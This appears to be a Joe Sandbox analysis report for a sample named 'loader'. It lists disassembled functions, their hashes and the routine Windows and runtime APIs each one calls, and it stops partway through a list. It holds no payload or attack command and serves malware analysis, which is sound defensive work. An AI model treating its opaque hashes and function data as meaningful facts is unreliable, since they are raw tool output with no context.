Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: __freea
String ID:
API String ID: 240046367-0
Opcode ID: de5e6ec3d5c47f6fbd50b3c5e380361fb427360405ba927bf1700616b734ad24
Instruction ID: 0c04ec0de1f59ea57cec8bf5594ccbfb5a74f6404a41512945f2ba1bcf2ebc23
Opcode Fuzzy Hash: de5e6ec3d5c47f6fbd50b3c5e380361fb427360405ba927bf1700616b734ad24
Instruction Fuzzy Hash: 5751BF72A10216AFDB258FA4DC42EEBBBABEB44751F154729FC04D7240EB34DC58C692

Function 0064A6C2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 0064A762

Part of subcall function 0064A626: 739A6BB0.GDIPLUS(00000010), ref: 0064A62C

Strings

PNG, xrefs: 0064A6C6

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: CreateGlobalStream
String ID: PNG
API String ID: 2244384528-364855578
Opcode ID: 1237a27d039818d312dbcb38a80f5bff0dc7d01f0b36370eddb9abf3cb29a2d6
Instruction ID: d6a4fff3416979e535eeea9914fdf9825188d9b004d3ef3831257b387d22516a
Opcode Fuzzy Hash: 1237a27d039818d312dbcb38a80f5bff0dc7d01f0b36370eddb9abf3cb29a2d6
Instruction Fuzzy Hash: 61318F79640312BFD7209F61EC88D5BBBBBEF86750B041519F805C2720EB71DD44DAA1

Function 0065BA27 Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006597E5: _free.LIBCMT ref: 0065981C
Part of subcall function 006597E5: _abort.LIBCMT ref: 00659863

Part of subcall function 0065BB4E: _abort.LIBCMT ref: 0065BB80
Part of subcall function 0065BB4E: _free.LIBCMT ref: 0065BBB4

_free.LIBCMT ref: 0065BA9F
_free.LIBCMT ref: 0065BAD5

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _free$_abort
String ID:
API String ID: 195396716-0
Opcode ID: be2eba42cb637e772f294809cf4db8ddf717d798fad4c8f0045b8c891fc606d8
Instruction ID: fdd91d60e7fff1b8ce681f135430301d0d84159a1cf7da18c89fd3342f1482c5
Opcode Fuzzy Hash: be2eba42cb637e772f294809cf4db8ddf717d798fad4c8f0045b8c891fc606d8
Instruction Fuzzy Hash: 9F31B131904209AFDB10EFA9D441B99B7F7EF40322F21509DEC04AB2A2EB725D49DB54

Function 00631E50 Relevance: 3.1, APIs: 2, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00631E55

Part of subcall function 00633BBA: __EH_prolog.LIBCMT ref: 00633BBF

_wcslen.LIBCMT ref: 00631EFD

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 3e9828c314e5d60f9ce2ecc50892e2a84a76f2f0c202cf13d088372d282aaa54
Instruction ID: 1a4c244c6457ff221200d4ee4cf254354b961017371fe81aecdf581849ee6f63
Opcode Fuzzy Hash: 3e9828c314e5d60f9ce2ecc50892e2a84a76f2f0c202cf13d088372d282aaa54
Instruction Fuzzy Hash: 33314971904209AFCF51DF98C945AEEBBF6AF09300F10046EF845AB251CB325E51CBA4

Function 00659869 Relevance: 3.1, APIs: 2, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 006598A3
_free.LIBCMT ref: 006598CA

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1043c89dc87cdf2b90e7d1c9532624618a85e4d88754971d0b2e2599abf5c82c
Instruction ID: dedc03ad0738f684ca5e25291678a37f3249f2accae8540893303404b28f9545
Opcode Fuzzy Hash: 1043c89dc87cdf2b90e7d1c9532624618a85e4d88754971d0b2e2599abf5c82c
Instruction Fuzzy Hash: 6A014436104701EBC3122764AC8595B256FDFD3373F200A39FC04A2392EF608C0E5178

Function 0063A243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000001,00000001,?,0063A23A,?,0063A2E9,00000001,00000001,?,?,0063A175,?,00000001,00000000,?,?), ref: 0063A254

Part of subcall function 0063BB03: _wcslen.LIBCMT ref: 0063BB27

GetFileAttributesW.KERNELBASE(?,00000001,?,00000800,?,0063A23A,?,0063A2E9,00000001,00000001,?,?,0063A175,?,00000001,00000000), ref: 0063A280

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: a9735e9634b8407b99b083dd6f0b4aabaa23ca1bf1a6d8a4e9a626d678e600a6
Instruction ID: a6c2d580e21b31cba7558889c66350b15e2c79a399b3421511416d7298d79822
Opcode Fuzzy Hash: a9735e9634b8407b99b083dd6f0b4aabaa23ca1bf1a6d8a4e9a626d678e600a6
Instruction Fuzzy Hash: 97E092319001245BCB50AB64CC05BD9B75EAB083E1F044261FE95E3290DB71DE44CBE0

Function 0064DEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0064DEEC

Part of subcall function 00634092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006340A5

SetDlgItemTextW.USER32(00000065,?), ref: 0064DF03

Part of subcall function 0064B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0064B579
Part of subcall function 0064B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0064B58A
Part of subcall function 0064B568: IsDialogMessageW.USER32(00010406,?), ref: 0064B59E
Part of subcall function 0064B568: TranslateMessage.USER32(?), ref: 0064B5AC
Part of subcall function 0064B568: DispatchMessageW.USER32(?), ref: 0064B5B6

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 7407449c355f39471f6f0f0fbe4116029e402f80444e3c01bf918cf82ed6aafc
Instruction ID: a0e5e918a8d0b9fa9e3e6836f77bec490a1238ebea12976b82ccfd1b5005b66b
Opcode Fuzzy Hash: 7407449c355f39471f6f0f0fbe4116029e402f80444e3c01bf918cf82ed6aafc
Instruction Fuzzy Hash: FAE0D8B65003582ADF42AF60DC0BFDE3BAE5B05785F040855B204DB0F3DA79EA908775

Function 00652B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00652BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00652BB5

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: d47c5720280724db0257b02f28512b009159b135a453327a97f13a41ecab7d80
Instruction ID: dd70f88e617f786b09babce871d4280dd324ef8df339bf9fc8e5ed5466a0192e
Opcode Fuzzy Hash: d47c5720280724db0257b02f28512b009159b135a453327a97f13a41ecab7d80
Instruction Fuzzy Hash: 55D0A939154213294E942A7068B2488335BAE43BBBFE0138EEC2085AC1EB11808CA11A

Function 006312F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00631306
ShowWindow.USER32(00000000), ref: 0063130D

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: a3021daa5e55b96f0301c2a04931665250d7f5a50b248553987c4a04ba065242
Instruction ID: 32e29a213c092f7b832ffa0f9577d3b500fdaed30e7165b5ecc20ba66fb26814
Opcode Fuzzy Hash: a3021daa5e55b96f0301c2a04931665250d7f5a50b248553987c4a04ba065242
Instruction Fuzzy Hash: 98C0123605C220BECB010FB4DC09C2BBBAEABA5316F04C90AB0A5C0270C239C110DB11

Function 00631A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00631A09

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1395f984ab2cfb24f20b5c4e0b260041fb34ff706c90f79a93bbdf2e23faabda
Instruction ID: 297c52269dfd1466b33962c74e3c938f389a27443e0be387b770c5a3a1472d57
Opcode Fuzzy Hash: 1395f984ab2cfb24f20b5c4e0b260041fb34ff706c90f79a93bbdf2e23faabda
Instruction Fuzzy Hash: 2BC19170A002549FEF15CF68C894BE9BBA7AF17310F0805B9EC469F396DB349945CBA1

Function 00633BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00633BBF

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 036ab9513505a17285df9c0b70a40a2499bc05af2c9a37c0c7e39903daf691d3
Instruction ID: c2a21ffefba45d42faa8bc92c5702582ed3084aa901fca788114e148e12baaea
Opcode Fuzzy Hash: 036ab9513505a17285df9c0b70a40a2499bc05af2c9a37c0c7e39903daf691d3
Instruction Fuzzy Hash: BC71EF71500B949EDB25DF70C8519E7B7EAAF15301F40492EF2AB87342DA326A88CF95

Function 00639A74 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00639A50,?,?,00000000,?,?,00638CBC,?), ref: 00639BAB

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 8ac6c3581f92dcd6abda799e3dce265733deaf91ea431681ea884a6479774b6c
Instruction ID: 6ffd6814b35086d33d5c17a0151133f6d850ddf970104fff035dfa7b584084fa
Opcode Fuzzy Hash: 8ac6c3581f92dcd6abda799e3dce265733deaf91ea431681ea884a6479774b6c
Instruction Fuzzy Hash: 21418B316043118BDB249F15E5844ABF7E7FBE4320F148A6DE89283360D7F0AD458EE1

Function 00638284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00638289

Part of subcall function 006313DC: __EH_prolog.LIBCMT ref: 006313E1

Part of subcall function 0063A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0063A598

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: 8ddf4f00789701f4393405bee1199163ba9adfeb4ffc219f69ce05d44a534c5e
Instruction ID: 9fec060450f580f2f9d6e3fd433d2b9e5e44691fcd20c2e9b2e35ed9853ff54e
Opcode Fuzzy Hash: 8ddf4f00789701f4393405bee1199163ba9adfeb4ffc219f69ce05d44a534c5e
Instruction Fuzzy Hash: FC4197719447589EDB20DBA0CC55AEAB7BAAF00304F4404EEF18AA7193EB755FC5CB90

Function 006398E0 Relevance: 1.6, APIs: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?), ref: 0063995F

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9be38a8bc598eac2283275eaad26ef83684eb85f3c5a0e8b643a9749f8724058
Instruction ID: 4c54e8c8a22855ddcd3a7e7510aab404b97768b8a2a0e531c4a67ddecb1af83b
Opcode Fuzzy Hash: 9be38a8bc598eac2283275eaad26ef83684eb85f3c5a0e8b643a9749f8724058
Instruction Fuzzy Hash: 673102309443456FE7209F24CC86BDABB96BB04320F140B1DF9A1962D0D7F4A948CFE5

Function 00639F7A Relevance: 1.6, APIs: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,?,00000001,?,?,?,?,0063D343,00000001,?,?,?), ref: 0063A011

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
